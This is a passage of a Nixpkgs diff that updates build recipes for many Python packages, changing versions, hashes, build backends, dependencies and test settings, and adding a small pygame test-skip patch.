"pyenphase"; - version = "1.19.0"; + version = "1.19.1"; pyproject = true; disabled = pythonOlder "3.11"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "pyenphase"; repo = "pyenphase"; rev = "refs/tags/v${version}"; - hash = "sha256-Wj2CkOvH5mS+DaIcbrqHjK+0mG3gfyF5M9tFImeJ/ko="; + hash = "sha256-2dKBqGIT4D4QUMixg4ZCxWXjE2zcXoji5i2v+vAPhL4="; }; postPatch = '' diff --git a/pkgs/development/python-modules/pyexiftool/default.nix b/pkgs/development/python-modules/pyexiftool/default.nix new file mode 100644 index 0000000000000..e7240658ef330 --- /dev/null +++ b/pkgs/development/python-modules/pyexiftool/default.nix @@ -0,0 +1,47 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, exiftool +, setuptools +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "pyexiftool"; + version = "0.5.6"; + pyproject = true; + + disabled = pythonOlder "3.6"; + + src = fetchFromGitHub { + owner = "sylikc"; + repo = "pyexiftool"; + rev = "refs/tags/v${version}"; + hash = "sha256-dgQkbpCbdq2JbupY0DyQbHPR9Bg+bwDo7yN03o3sX+A="; + }; + + postPatch = '' + substituteInPlace exiftool/constants.py \ + --replace-fail 'DEFAULT_EXECUTABLE = "exiftool"' \ + 'DEFAULT_EXECUTABLE = "${lib.getExe exiftool}"' + ''; + + nativeBuildInputs = [ + setuptools + ]; + + pythonImportsCheck = [ "exiftool" ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + meta = { + changelog = "https://github.com/sylikc/pyexiftool/blob/${src.rev}/CHANGELOG.md"; + description = "Python wrapper for exiftool"; + homepage = "https://github.com/sylikc/pyexiftool"; + license = with lib.licenses; [ bsd3 /* or */ gpl3Plus ]; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/pyflakes/default.nix b/pkgs/development/python-modules/pyflakes/default.nix index 2da0f2698685a..c0ef2f45f2b7e 100644 --- a/pkgs/development/python-modules/pyflakes/default.nix +++ b/pkgs/development/python-modules/pyflakes/default.nix @@ -1,23 +1,30 @@ { lib , buildPythonPackage , pythonOlder -, fetchPypi +, fetchFromGitHub +, setuptools , pytestCheckHook }: buildPythonPackage rec { pname = "pyflakes"; - version = "3.1.0"; + version = "3.2.0"; disabled = pythonOlder "3.8"; - format = "setuptools"; + pyproject = true; - src = fetchPypi { - inherit pname version; - hash = "sha256-oKrgNMRE2wBxqgd5crpHaNQMgw2VOf1Fv0zT+PaZLvw="; + src = fetchFromGitHub { + owner = "PyCQA"; + repo = "pyflakes"; + rev = version; + hash = "sha256-ouCkkm9OrYob00uLTilqgWsTWfHhzaiZp7sa2C5liqk="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook ]; @@ -26,7 +33,7 @@ buildPythonPackage rec { meta = with lib; { homepage = "https://github.com/PyCQA/pyflakes"; - changelog = "https://github.com/PyCQA/pyflakes/blob/${version}/NEWS.rst"; + changelog = "https://github.com/PyCQA/pyflakes/blob/${src.rev}/NEWS.rst"; description = "A simple program which checks Python source files for errors"; license = licenses.mit; maintainers = with maintainers; [ dotlambda ]; diff --git a/pkgs/development/python-modules/pyformlang/default.nix b/pkgs/development/python-modules/pyformlang/default.nix index 63bf98a0ea5fb..9a76ec2a1dfab 100644 --- a/pkgs/development/python-modules/pyformlang/default.nix +++ b/pkgs/development/python-modules/pyformlang/default.nix @@ -11,12 +11,12 @@ buildPythonPackage rec { pname = "pyformlang"; - version = "1.0.6"; + version = "1.0.7"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-LHQM+Vy8YVfTtpWaveYgBlp74AnS/IF3Y1EbgwVku7I="; + hash = "sha256-i4ib18Ktyc9pRu4P+tQIHoZ/IbAOk8Dn0MXJoxw8gAA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pyfume/default.nix b/pkgs/development/python-modules/pyfume/default.nix index 308f5eeeb5299..5f3db44b0f114 100644 --- a/pkgs/development/python-modules/pyfume/default.nix +++ b/pkgs/development/python-modules/pyfume/default.nix @@ -6,28 +6,35 @@ , pandas , pythonOlder , scipy +, setuptools , simpful +, typing-extensions }: buildPythonPackage rec { pname = "pyfume"; - version = "0.2.25"; - format = "setuptools"; + version = "0.3.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { pname = "pyFUME"; inherit version; - hash = "sha256-uD1IHFyNd9yv3eyHPZ4pg6X2+rLTY5sYsQysuIXbvfA="; + hash = "sha256-8J9qhSaTlb/KiCjegmc8iaGaZOXJ0Pk1EquOTEUUtW0="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ fst-pso numpy pandas scipy simpful + typing-extensions ]; # Module has not test @@ -40,6 +47,7 @@ buildPythonPackage rec { meta = with lib; { description = "A Python package for fuzzy model estimation"; homepage = "https://github.com/CaroFuchs/pyFUME"; + changelog = "https://github.com/CaroFuchs/pyFUME/releases/tag/${version}"; license = with licenses; [ gpl3Only ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/pygame/default.nix b/pkgs/development/python-modules/pygame/default.nix index ab5727b33add7..6bc41339d9275 100644 --- a/pkgs/development/python-modules/pygame/default.nix +++ b/pkgs/development/python-modules/pygame/default.nix @@ -59,12 +59,14 @@ buildPythonPackage rec { "${lib.getLib dep}/lib" ]) buildInputs); }) + # Skip tests that should be disabled without video driver + ./skip-surface-tests.patch ]; postPatch = '' substituteInPlace src_py/sysfont.py \ - --replace 'path="fc-list"' 'path="${fontconfig}/bin/fc-list"' \ - --replace /usr/X11/bin/fc-list ${fontconfig}/bin/fc-list + --replace-fail 'path="fc-list"' 'path="${fontconfig}/bin/fc-list"' \ + --replace-fail /usr/X11/bin/fc-list ${fontconfig}/bin/fc-list ''; nativeBuildInputs = [ @@ -102,7 +104,6 @@ buildPythonPackage rec { # No audio or video device in test environment export SDL_VIDEODRIVER=dummy export SDL_AUDIODRIVER=disk - export SDL_DISKAUDIOFILE=/dev/null ${python.interpreter} -m pygame.tests -v --exclude opengl,timing --time_out 300 diff --git a/pkgs/development/python-modules/pygame/skip-surface-tests.patch b/pkgs/development/python-modules/pygame/skip-surface-tests.patch new file mode 100644 index 0000000000000..21d9c9060f3b8 --- /dev/null +++ b/pkgs/development/python-modules/pygame/skip-surface-tests.patch @@ -0,0 +1,26 @@ +diff --git a/test/surface_test.py b/test/surface_test.py +index 5ce78b6e..8b8f7ed5 100644 +--- a/test/surface_test.py ++++ b/test/surface_test.py +@@ -1091,6 +1091,10 @@ class GeneralSurfaceTests(unittest.TestCase): + finally: + pygame.display.quit() + ++ @unittest.skipIf( ++ os.environ.get("SDL_VIDEODRIVER") == "dummy", ++ 'requires a non-"dummy" SDL_VIDEODRIVER', ++ ) + def test_convert_init(self): + """Ensure initialization exceptions are raised + for surf.convert().""" +@@ -1118,6 +1122,10 @@ class GeneralSurfaceTests(unittest.TestCase): + finally: + pygame.display.quit() + ++ @unittest.skipIf( ++ os.environ.get("SDL_VIDEODRIVER") == "dummy", ++ 'requires a non-"dummy" SDL_VIDEODRIVER', ++ ) + def test_convert_alpha_init(self): + """Ensure initialization exceptions are raised + for surf.convert_alpha().""" diff --git a/pkgs/development/python-modules/pygitguardian/default.nix b/pkgs/development/python-modules/pygitguardian/default.nix index 2f3cde9a51d88..1325a31fe1339 100644 --- a/pkgs/development/python-modules/pygitguardian/default.nix +++ b/pkgs/development/python-modules/pygitguardian/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "pygitguardian"; - version = "1.13.0"; + version = "1.14.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "GitGuardian"; repo = "py-gitguardian"; rev = "refs/tags/v${version}"; - hash = "sha256-LRzyZAusCo4uZlXFWoRPIfPgAGO4sP0KCGYOICNZ6f4="; + hash = "sha256-Uw65+YOnln+IOyT+RgqMEWt5cOZsaeS8Nu8U6ooivWA="; }; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/pygltflib/default.nix b/pkgs/development/python-modules/pygltflib/default.nix index e88437eb15a9a..7212192b260fc 100644 --- a/pkgs/development/python-modules/pygltflib/default.nix +++ b/pkgs/development/python-modules/pygltflib/default.nix @@ -20,7 +20,7 @@ in buildPythonPackage rec { pname = "pygltflib"; - version = "1.16.1"; + version = "1.16.2"; pyproject = true; disabled = pythonOlder "3.6"; @@ -28,8 +28,8 @@ buildPythonPackage rec { src = fetchFromGitLab { owner = "dodgyville"; repo = "pygltflib"; - rev = "da1c687f5ea88d6063616857d54d195fa0739b37"; # no tags in repo, only on PyPI - hash = "sha256-aoYVglpQ0Qaq6gEqZ455GlkL2/C1Q5YjQASVLplsWbs="; + rev = "refs/tags/v${version}"; + hash = "sha256-rUAg05M5biVsdG2yEH0Olng/0jH1R/Jo5/+j4ToKkTI="; }; nativeBuildInputs = [ @@ -53,7 +53,7 @@ buildPythonPackage rec { meta = with lib; { description = "Module for reading and writing basic glTF files"; homepage = "https://gitlab.com/dodgyville/pygltflib"; - changelog = "https://gitlab.com/dodgyville/pygltflib/-/blob/${src.rev}/CHANGELOG.md"; + changelog = "https://gitlab.com/dodgyville/pygltflib/-/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ bcdarwin ]; }; diff --git a/pkgs/development/python-modules/pygmo/default.nix b/pkgs/development/python-modules/pygmo/default.nix index d311df0a45304..c829ff91f6969 100644 --- a/pkgs/development/python-modules/pygmo/default.nix +++ b/pkgs/development/python-modules/pygmo/default.nix @@ -18,13 +18,13 @@ toPythonModule (stdenv.mkDerivation rec { pname = "pygmo"; - version = "2.19.5"; + version = "2.19.6"; src = fetchFromGitHub { owner = "esa"; repo = "pygmo2"; rev = "refs/tags/v${version}"; - hash = "sha256-szQyw5kYfrQEeXRQzjQ0hzULuzTfmGod6ZxG9PDRj5M="; + hash = "sha256-umXK8LGJJ6Xj6UbJ5k/DM/nYayjl+jBXtjar5/dWqFM="; }; cmakeFlags = [ diff --git a/pkgs/development/python-modules/pygobject/3.nix b/pkgs/development/python-modules/pygobject/3.nix index 89d261d5f8de6..cc2d41147bca7 100644 --- a/pkgs/development/python-modules/pygobject/3.nix +++ b/pkgs/development/python-modules/pygobject/3.nix @@ -42,7 +42,7 @@ buildPythonPackage rec { ]; buildInputs = [ - # # .so files link to this + cairo glib ] ++ lib.optionals stdenv.isDarwin [ ncurses @@ -50,7 +50,6 @@ buildPythonPackage rec { propagatedBuildInputs = [ pycairo - cairo ]; mesonFlags = [ diff --git a/pkgs/development/python-modules/pyipp/default.nix b/pkgs/development/python-modules/pyipp/default.nix index 609e75806678b..3046d879ba61a 100644 --- a/pkgs/development/python-modules/pyipp/default.nix +++ b/pkgs/development/python-modules/pyipp/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "pyipp"; - version = "0.14.4"; + version = "0.14.5"; format = "pyproject"; disabled = pythonOlder "3.9"; @@ -23,8 +23,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "ctalkington"; repo = "python-ipp"; - rev = version; - hash = "sha256-xE0fdT+Ffdf4iOHWZzRa7YWtHt92lFdA/sbwjblMR40="; + rev = "refs/tags/${version}"; + hash = "sha256-2YaQZWHrvz1OwD47WUl4UKoYXQBiemCWLM8m/zkipCU="; }; postPatch = '' diff --git a/pkgs/development/python-modules/pyipv8/default.nix b/pkgs/development/python-modules/pyipv8/default.nix index 6d0f618df8d29..24f0ba95c0638 100644 --- a/pkgs/development/python-modules/pyipv8/default.nix +++ b/pkgs/development/python-modules/pyipv8/default.nix @@ -15,11 +15,11 @@ buildPythonPackage rec { pname = "pyipv8"; - version = "2.12.0"; + version = "2.13.0"; src = fetchPypi { inherit pname version; - hash = "sha256-FXvMykUko3v0GmAZYUt5esBuTbxqpjOL4YxrRfE3u5o="; + hash = "sha256-Qp5vqMa7kfSp22C5KAUvut+4YbSXMEZRsHsLevB4QvE="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/pykeepass/default.nix b/pkgs/development/python-modules/pykeepass/default.nix index 2b482295e4222..da2e8d5bc837b 100644 --- a/pkgs/development/python-modules/pykeepass/default.nix +++ b/pkgs/development/python-modules/pykeepass/default.nix @@ -1,32 +1,51 @@ -{ lib, fetchFromGitHub, buildPythonPackage -, lxml, pycryptodomex, construct -, argon2-cffi, python-dateutil -, python +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, argon2-cffi +, construct +, lxml +, pycryptodomex +, pyotp +, unittestCheckHook }: buildPythonPackage rec { - pname = "pykeepass"; - version = "4.0.6"; - - format = "setuptools"; + pname = "pykeepass"; + version = "4.0.7"; + pyproject = true; src = fetchFromGitHub { owner = "libkeepass"; repo = "pykeepass"; rev = "v${version}"; - hash = "sha256-832cTVzI/MFdwiw6xWzRG35z3iwqb5Qpf6W6XYBIFWs="; + hash = "sha256-qUNMjnIhQpUSQY0kN9bA4IxQx8fiFIA6p8rPqNqdjNo="; }; + postPatch = '' + # https://github.com/libkeepass/pykeepass/pull/378 + substituteInPlace pyproject.toml \ + --replace-fail 'packages = ["pykeepass"]' 'packages = ["pykeepass", "pykeepass.kdbx_parsing"]' + ''; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ - lxml pycryptodomex construct - argon2-cffi python-dateutil + argon2-cffi + construct + lxml + pycryptodomex + setuptools ]; propagatedNativeBuildInputs = [ argon2-cffi ]; - checkPhase = '' - ${python.interpreter} -m unittest tests.tests - ''; + nativeCheckInputs = [ + pyotp + unittestCheckHook + ]; pythonImportsCheck = [ "pykeepass" ]; diff --git a/pkgs/development/python-modules/pykka/default.nix b/pkgs/development/python-modules/pykka/default.nix index 5bc06fe170910..899fe46feb5d6 100644 --- a/pkgs/development/python-modules/pykka/default.nix +++ b/pkgs/development/python-modules/pykka/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "pykka"; - version = "4.0.1"; + version = "4.0.2"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "jodal"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-SYgT69/AZX/JDm89PwFqrUL9Ll1iHRKEy78BN4QKz9Y="; + hash = "sha256-2baFwZPNuVU39Kt5B8QvGKu7jMbg+GZ3ROoTxzPOXac="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pylibjpeg-libjpeg/default.nix b/pkgs/development/python-modules/pylibjpeg-libjpeg/default.nix index a9ffc663fcaf0..3872fa6b2417e 100644 --- a/pkgs/development/python-modules/pylibjpeg-libjpeg/default.nix +++ b/pkgs/development/python-modules/pylibjpeg-libjpeg/default.nix @@ -3,14 +3,16 @@ , fetchFromGitHub , pythonOlder , pytestCheckHook -, cython +, cython_3 +, poetry-core +, setuptools , numpy }: buildPythonPackage rec { pname = "pylibjpeg-libjpeg"; - version = "1.3.4"; - format = "setuptools"; + version = "2.02"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -18,12 +20,14 @@ buildPythonPackage rec { owner = "pydicom"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-VmqeoMU8riLpWyC+yKqq56TkruxOie6pjbg+ozivpBk="; + hash = "sha256-mGwku19Xe605fF3UU59712rYp+s/pP79lBRl79fhhTI="; fetchSubmodules = true; }; nativeBuildInputs = [ - cython + cython_3 + poetry-core + setuptools ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/pylibjpeg/default.nix b/pkgs/development/python-modules/pylibjpeg/default.nix index 65055d94280c6..134b0ebdb993c 100644 --- a/pkgs/development/python-modules/pylibjpeg/default.nix +++ b/pkgs/development/python-modules/pylibjpeg/default.nix @@ -4,6 +4,7 @@ , fetchFromGitHub , pythonOlder , pytestCheckHook +, flit-core , setuptools , numpy , pydicom @@ -31,7 +32,7 @@ in buildPythonPackage rec { pname = "pylibjpeg"; - version = "1.4.0"; + version = "2.0.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -40,10 +41,10 @@ buildPythonPackage rec { owner = "pydicom"; repo = "pylibjpeg"; rev = "refs/tags/v${version}"; - hash = "sha256-Px1DyYDkKAUdYo+ZxZ1w7TkPzWN++styiFl02iQOvyQ="; + hash = "sha256-qGtrphsBBVieGS/8rdymbsjLMU/QEd7zFNAANN8bD+k="; }; - nativeBuildInputs = [ setuptools ]; + nativeBuildInputs = [ flit-core ]; propagatedBuildInputs = [ numpy ]; diff --git a/pkgs/development/python-modules/pylint-flask/default.nix b/pkgs/development/python-modules/pylint-flask/default.nix index 4a26e256d803e..0928e0bd07e13 100644 --- a/pkgs/development/python-modules/pylint-flask/default.nix +++ b/pkgs/development/python-modules/pylint-flask/default.nix @@ -1,37 +1,50 @@ -{ buildPythonPackage +{ lib +, astroid +, buildPythonPackage , fetchPypi -, isPy3k -, lib - -# pythonPackages +, pylint , pylint-plugin-utils +, pythonOlder +, setuptools }: buildPythonPackage rec { pname = "pylint-flask"; version = "0.6"; - format = "setuptools"; - disabled = !isPy3k; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - sha256 = "05qmwgkpvaa5k05abqjxfbrfk3wpdqb8ph690z7bzxvb47i7vngl"; + hash = "sha256-9Nl94iFr97/OB8nAixZul4/p8nJd4qUKmEWpfefjFRc="; }; + nativeBuildInputs = [ + setuptools + ]; + + buildInputs = [ + pylint + ]; + propagatedBuildInputs = [ + astroid pylint-plugin-utils ]; # Tests require a very old version of pylint - # also tests are only available at GitHub, with an old release tag + # also tests are only available at GitHub, with an old release tag doCheck = false; + pythonImportsCheck = [ + "pylint_flask" + ]; + meta = with lib; { description = "A Pylint plugin to analyze Flask applications"; homepage = "https://github.com/jschaf/pylint-flask"; - license = licenses.gpl2; - maintainers = with maintainers; [ - kamadorueda - ]; + license = licenses.gpl2Only; + maintainers = with maintainers; [ kamadorueda ]; }; } diff --git a/pkgs/development/python-modules/pylint-plugin-utils/default.nix b/pkgs/development/python-modules/pylint-plugin-utils/default.nix index cdc29eb19621a..83315aed22a03 100644 --- a/pkgs/development/python-modules/pylint-plugin-utils/default.nix +++ b/pkgs/development/python-modules/pylint-plugin-utils/default.nix @@ -39,9 +39,6 @@ buildPythonPackage rec { "pylint_plugin_utils" ]; - # https://github.com/PyCQA/pylint-plugin-utils/issues/26 - doCheck = false; - meta = with lib; { description = "Utilities and helpers for writing Pylint plugins"; homepage = "https://github.com/PyCQA/pylint-plugin-utils"; diff --git a/pkgs/development/python-modules/pylutron-caseta/default.nix b/pkgs/development/python-modules/pylutron-caseta/default.nix index c95a36aa8ecac..0abbd2eaa5172 100644 --- a/pkgs/development/python-modules/pylutron-caseta/default.nix +++ b/pkgs/development/python-modules/pylutron-caseta/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "pylutron-caseta"; - version = "0.19.0"; + version = "0.20.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "gurumitts"; repo = "pylutron-caseta"; rev = "refs/tags/v${version}"; - hash = "sha256-/xTHtzXEFGL2/oP1oVxJj7GO3fSZ5CwjXDdp6OLhlzM="; + hash = "sha256-7uUNLlVrMEgah2YvTECC4S2WArAQjeAyfgDd62sQsYA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pylutron/default.nix b/pkgs/development/python-modules/pylutron/default.nix index f217b46179f95..49ee5e278485e 100644 --- a/pkgs/development/python-modules/pylutron/default.nix +++ b/pkgs/development/python-modules/pylutron/default.nix @@ -1,23 +1,32 @@ { lib , buildPythonPackage , fetchPypi +, setuptools }: buildPythonPackage rec { pname = "pylutron"; - version = "0.2.11"; - format = "setuptools"; + version = "0.2.12"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-9M7bCZD3zGZM62ID0yB/neKkF+6UW8x5m2y5vj/mYes="; + hash = "sha256-UTn4HfyiyQAekIZD4I5lacYb7ySRhW8OUgiOg33JZtQ="; }; + nativeBuildInputs = [ + setuptools + ]; + # Project has no tests doCheck = false; - pythonImportsCheck = [ "pylutron" ]; + + pythonImportsCheck = [ + "pylutron" + ]; meta = with lib; { + changelog = "https://github.com/thecynic/pylutron/releases/tag/${version}"; description = "Python library for controlling a Lutron RadioRA 2 system"; homepage = "https://github.com/thecynic/pylutron"; license = with licenses; [ mit ]; diff --git a/pkgs/development/python-modules/pymatgen/default.nix b/pkgs/development/python-modules/pymatgen/default.nix index 545310ec0ade5..cccf04f3a21ab 100644 --- a/pkgs/development/python-modules/pymatgen/default.nix +++ b/pkgs/development/python-modules/pymatgen/default.nix @@ -1,8 +1,11 @@ { lib +, stdenv , buildPythonPackage , fetchFromGitHub +, ase , cython , glibcLocales +, joblib , matplotlib , monty , networkx @@ -12,10 +15,13 @@ , plotly , pybtex , pydispatcher +, pytestCheckHook +, pytest-xdist , pythonOlder , requests , ruamel-yaml , scipy +, seekpath , spglib , sympy , tabulate @@ -24,7 +30,7 @@ buildPythonPackage rec { pname = "pymatgen"; - version = "2022.3.29"; + version = "2024.2.23"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -33,7 +39,7 @@ buildPythonPackage rec { owner = "materialsproject"; repo = "pymatgen"; rev= "v${version}"; - hash = "sha256-B2piRWx9TfKlGTPOAAGsq2GxyfHIRBVFpk6dxES0WF0="; + hash = "sha256-eswoup9ACj/PHVW3obcnZjD4tWemsmROZFtwGGigEYE="; }; nativeBuildInputs = [ @@ -60,14 +66,37 @@ buildPythonPackage rec { uncertainties ]; - # Tests are not detected by pytest - doCheck = false; + nativeCheckInputs = [ + pytestCheckHook + pytest-xdist + ] ++ lib.flatten (builtins.attrValues passthru.optional-dependencies); + preCheck = '' + # hide from tests + mv pymatgen _pymatgen + # ensure tests can find these + export PMG_TEST_FILES_DIR="$(realpath ./tests/files)" + # some tests cover the command-line scripts + export PATH=$out/bin:$PATH + ''; + disabledTests = [ + # presumably won't work with our dir layouts + "test_egg_sources_txt_is_complete" + # borderline precision failure + "test_thermal_conductivity" + ]; + + passthru.optional-dependencies = { + ase = [ ase ]; + joblib = [ joblib ]; + seekpath = [ seekpath ]; + }; pythonImportsCheck = [ "pymatgen" ]; meta = with lib; { + broken = stdenv.isDarwin; # tests segfault. that's bad. description = "A robust materials analysis code that defines core object representations for structures and molecules"; homepage = "https://pymatgen.org/"; license = licenses.mit; diff --git a/pkgs/development/python-modules/pymc/default.nix b/pkgs/development/python-modules/pymc/default.nix index 5427eafb1035b..5afa718726c85 100644 --- a/pkgs/development/python-modules/pymc/default.nix +++ b/pkgs/development/python-modules/pymc/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "pymc"; - version = "5.10.3"; + version = "5.10.4"; pyproject = true; disabled = pythonOlder "3.9"; @@ -23,9 +23,14 @@ buildPythonPackage rec { owner = "pymc-devs"; repo = "pymc"; rev = "refs/tags/v${version}"; - hash = "sha256-3y8ORRyWjr4KT818ktXrgX4jB0Rkrnf4DQaNkyXGrts="; + hash = "sha256-tiOXbryY2TmeBVrG5cIMeDJ4alolBQ5LosdfH3tpVOA="; }; + postPatch = '' + substituteInPlace setup.py \ + --replace-fail ', "pytest-cov"' "" + ''; + propagatedBuildInputs = [ arviz cachetools @@ -37,11 +42,6 @@ buildPythonPackage rec { typing-extensions ]; - postPatch = '' - substituteInPlace setup.py \ - --replace ', "pytest-cov"' "" - ''; - # The test suite is computationally intensive and test failures are not # indicative for package usability hence tests are disabled by default. doCheck = false; diff --git a/pkgs/development/python-modules/pymicrobot/default.nix b/pkgs/development/python-modules/pymicrobot/default.nix index 81e6709ed7566..22581f493b73b 100644 --- a/pkgs/development/python-modules/pymicrobot/default.nix +++ b/pkgs/development/python-modules/pymicrobot/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "pymicrobot"; - version = "0.0.15"; + version = "0.0.22"; pyproject = true; disabled = pythonOlder "3.9"; @@ -17,7 +17,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "PyMicroBot"; inherit version; - hash = "sha256-1uJetSJ4P4PcuvzBQBfkQHVIvLU+rdyEZDV2T28GKhg="; + hash = "sha256-8Nkkgznt4JzImJSAbdaX6znhvmgqwOIBjAXVhaMorLk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pymodbus/default.nix b/pkgs/development/python-modules/pymodbus/default.nix index a9c425dfabef4..ee5c25d177da8 100644 --- a/pkgs/development/python-modules/pymodbus/default.nix +++ b/pkgs/development/python-modules/pymodbus/default.nix @@ -19,18 +19,23 @@ buildPythonPackage rec { pname = "pymodbus"; - version = "3.6.4"; + version = "3.6.5"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "pymodbus-dev"; - repo = pname; + repo = "pymodbus"; rev = "refs/tags/v${version}"; - hash = "sha256-SYdjM3wFZD+bAOd0vRFe6N5UwF+1Wv97ooihJjKV8K0="; + hash = "sha256-BWoonOmKTvl5pKvdysmrCTHL6Bf3NGULXI6dpP5t/C0="; }; + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail "--cov-report html " "" + ''; + nativeBuildInputs = [ setuptools ]; diff --git a/pkgs/development/python-modules/pyngrok/default.nix b/pkgs/development/python-modules/pyngrok/default.nix index 2dc7e9f36ebc3..0ed02cd477baa 100644 --- a/pkgs/development/python-modules/pyngrok/default.nix +++ b/pkgs/development/python-modules/pyngrok/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "pyngrok"; - version = "7.1.2"; + version = "7.1.4"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-iyLJ3kr0O9wa6ipgMgntH8VbSo1a6btYoQZOaogAfKw="; + hash = "sha256-MlTT2a4VvazWP+EPLb1W3KZIf284OM4mI6LA8ToBtVY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pynose/default.nix b/pkgs/development/python-modules/pynose/default.nix new file mode 100644 index 0000000000000..12730465b7a1a --- /dev/null +++ b/pkgs/development/python-modules/pynose/default.nix @@ -0,0 +1,30 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +}: + +buildPythonPackage rec { + pname = "pynose"; + version = "1.4.8"; + pyproject = true; + + src = fetchFromGitHub { + owner = "mdmintz"; + repo = "pynose"; + rev = "v${version}"; + hash = "sha256-V6jZBEkEAKzClA/3s+Lyfm9xExgCEJbLCNnIHmZ94E4="; + }; + + nativeBuildInputs = [ setuptools ]; + + # has no tests + doCheck = false; + + meta = with lib; { + description = "pynose fixes nose to extend unittest and make testing easier"; + homepage = "https://github.com/mdmintz/pynose"; + license = licenses.mit; + maintainers = with maintainers; [ SuperSandro2000 ]; + }; +} diff --git a/pkgs/development/python-modules/pynuki/default.nix b/pkgs/development/python-modules/pynuki/default.nix index 67c35da582182..28c7117d680a7 100644 --- a/pkgs/development/python-modules/pynuki/default.nix +++ b/pkgs/development/python-modules/pynuki/default.nix @@ -9,16 +9,16 @@ buildPythonPackage rec { pname = "pynuki"; - version = "1.6.2"; - format = "pyproject"; + version = "1.6.3"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "pschmitt"; - repo = pname; + repo = "pynuki"; rev = "refs/tags/${version}"; - hash = "sha256-I0eAhgThSBEmJF6mYw+0Bh1kCUqEMFnCx+4n7l3Hf14="; + hash = "sha256-PF5FmAuPcJXq8gQ8HyzdtL2HiiUjueT+LAS1lYRvrwM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pynvml/default.nix b/pkgs/development/python-modules/pynvml/default.nix index 7a280bfed9038..b18fac7652f91 100644 --- a/pkgs/development/python-modules/pynvml/default.nix +++ b/pkgs/development/python-modules/pynvml/default.nix @@ -3,7 +3,6 @@ , fetchPypi , substituteAll , pythonOlder -, cudatoolkit , addOpenGLRunpath }: @@ -25,8 +24,6 @@ buildPythonPackage rec { }) ]; - propagatedBuildInputs = [ cudatoolkit ]; - doCheck = false; # no tests in PyPi dist pythonImportsCheck = [ "pynvml" "pynvml.smi" ]; diff --git a/pkgs/development/python-modules/pyocd-pemicro/default.nix b/pkgs/development/python-modules/pyocd-pemicro/default.nix new file mode 100644 index 0000000000000..74dee58903cdf --- /dev/null +++ b/pkgs/development/python-modules/pyocd-pemicro/default.nix @@ -0,0 +1,43 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, setuptools-scm +, pyocd +, pypemicro +}: + +buildPythonPackage rec { + pname = "pyocd-pemicro"; + version = "1.1.5"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "pyocd"; + repo = "pyocd-pemicro"; + rev = "refs/tags/v${version}"; + hash = "sha256-qi803s8fkrLizcCLeDRz7CTQ56NGLQ4PPwCbxiRigwc="; + }; + + nativeBuildInputs = [ + setuptools-scm + ]; + + propagatedBuildInputs = [ + pyocd + pypemicro + ]; + + # upstream has no tests + doCheck = false; + + meta = { + changelog = "https://github.com/pyocd/pyocd-pemicro/releases/tag/v${version}"; + description = "PEMicro probe plugin for pyOCD"; + homepage = "https://github.com/pyocd/pyocd-pemicro"; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/pyocr/default.nix b/pkgs/development/python-modules/pyocr/default.nix index 407166e98c901..0d87538a1ce4f 100644 --- a/pkgs/development/python-modules/pyocr/default.nix +++ b/pkgs/development/python-modules/pyocr/default.nix @@ -1,4 +1,5 @@ { lib +, stdenv , fetchFromGitLab , buildPythonPackage , pillow @@ -9,6 +10,8 @@ , pytestCheckHook , setuptools , setuptools-scm +, withTesseractSupport ? true +, withCuneiformSupport 